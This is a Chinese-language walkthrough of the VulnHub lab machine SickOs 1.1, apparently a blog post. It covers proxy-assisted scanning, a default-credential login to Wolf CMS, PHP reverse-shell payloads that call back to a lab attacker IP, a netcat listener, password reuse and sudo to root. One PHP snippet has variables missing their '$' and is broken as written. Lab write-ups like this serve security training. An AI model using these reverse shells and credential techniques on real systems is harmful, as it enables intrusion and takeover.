SickOs: 1.1靶场学习小记

学习环境

kali攻击机:Get Kali | Kali Linux

vulnhub靶场:https://download.vulnhub.com/sickos/sick0s1.1.7z

靶场描述:

这次夺旗赛清晰地模拟了在安全环境下如何对网络实施黑客策略从而入侵网络的过程。这个虚拟机与我在进攻性安全认证专家(OSCP)培训中所面对的实验环境极为相似。目标是入侵网络 / 机器并获取其管理权限 / 根权限。

测试过程

端口扫描

使用nmap查找目标主机地址

nmap扫描目标主机TCP端口和UDP端口,一共扫描到3个TCP端口,2个存活

探测端口的服务版本,系统版本

nmap简单的漏扫脚本执行,没什么有效信息

访问3128端口显示error,根据界面有效信息看到这个服务名及版本squid/3.1.19

搜索发现是一个http web代理服务,那意味着我们是否可以通过配置这个代理端口来访问一些服务

直接访问8080端口是拒绝访问的

使用3128端口配置代理http 192.168.229.166 3128,我在代理插件上直接配置,再次访问8080端口,无果,还是拒绝访问

既然是http代理尝试访问默认80端口是否能通,测试可以,但没什么有效信息

使用dirsearch进行目录扫描,此时同样要配置代理扫描,发现两个路径/connect和/rebots.txt

dirsearch -u http://192.168.229.166/ --proxy=192.168.229.166:3128

/connect访问是一个python脚本,输出两句话没什么用

/robots.txt下有一个/wolfcms路径,看名字应该一个cms管理系统

尝试访问是一个果然,是一个文章页面,没有输入框什么的

百度查找wolfcms默认后台登陆地址/?/admin拼接跳转成功

尝试默认账户密码admin/admin登陆成功

随便打开一个page页面发现可以编辑php代码,百度百科查找反弹shell命令写入,同时kail攻击机监听,写入后保存,kali机成功拿到shell

反弹shell:

<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.229.152/8080 0>&1'"); ?>
<?php

$ip = "192.168.229.152";

$port = "8080";

sock = fsockopen(ip, $port);

$descriptorspec = array(

0 => $sock,

1 => $sock,

2 => $sock

);

process = proc_open('/bin/sh', descriptorspec, $pipes);

proc_close($process);

?>

kali攻击机监听;

nc -lvvp 8080

拿到shell后执行下面python语句生成一个交互式的 /bin/bash 进程,否则部分命令无法执行

python -c 'import pty;pty.spawn("/bin/bash")'

查看账户是www-data,sudo -l需要密码,无果

查看当前路径下有一个config.php,应该是配置文件查找敏感信息,有一个数据库的账户密码

尝试本地连接mysql数据库, 拒绝www-data用户访问,查看账户表除了root,还存在一个sickos账户

尝试查看密码表,显然不能够,之前在配置文件中获取到一个数据库的账户密码,那么使用这个密码试试sickos账户,发现可以登录

查看当前用户sudo可执行命令,发现拥有所有执行权限,直接sudo /bin/bash获取到最高权限root

进入root目录下找到flag

相关推荐
恰薯条的屑海鸥2 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十四期-XXE模块)
网络·学习·安全·web安全·渗透测试
20242817李臻2 小时前
20242817李臻-安全文件传输系统-项目验收
数据库·安全
DevSecOps选型指南10 小时前
2025软件供应链安全最佳实践︱证券DevSecOps下供应链与开源治理实践
网络·安全·web安全·开源·代码审计·软件供应链安全
ABB自动化10 小时前
for AC500 PLCs 3ADR025003M9903的安全说明
服务器·安全·机器人
恰薯条的屑海鸥11 小时前
零基础在实践中学习网络安全-皮卡丘靶场(第十六期-SSRF模块)
数据库·学习·安全·web安全·渗透测试·网络安全学习
阿部多瑞 ABU12 小时前
主流大语言模型安全性测试(三):阿拉伯语越狱提示词下的表现与分析
人工智能·安全·ai·语言模型·安全性测试
moongoblin14 小时前
行业赋能篇-2-能源行业安全运维升级
运维·安全·协作
Fortinet_CHINA14 小时前
引领AI安全新时代 Accelerate 2025北亚巡展·北京站成功举办
网络·安全
这儿有一堆花15 小时前
安全访问家中 Linux 服务器的远程方案 —— 专为单用户场景设计
linux·服务器·安全
饮长安千年月19 小时前
JavaSec-SpringBoot框架
java·spring boot·后端·计算机网络·安全·web安全·网络安全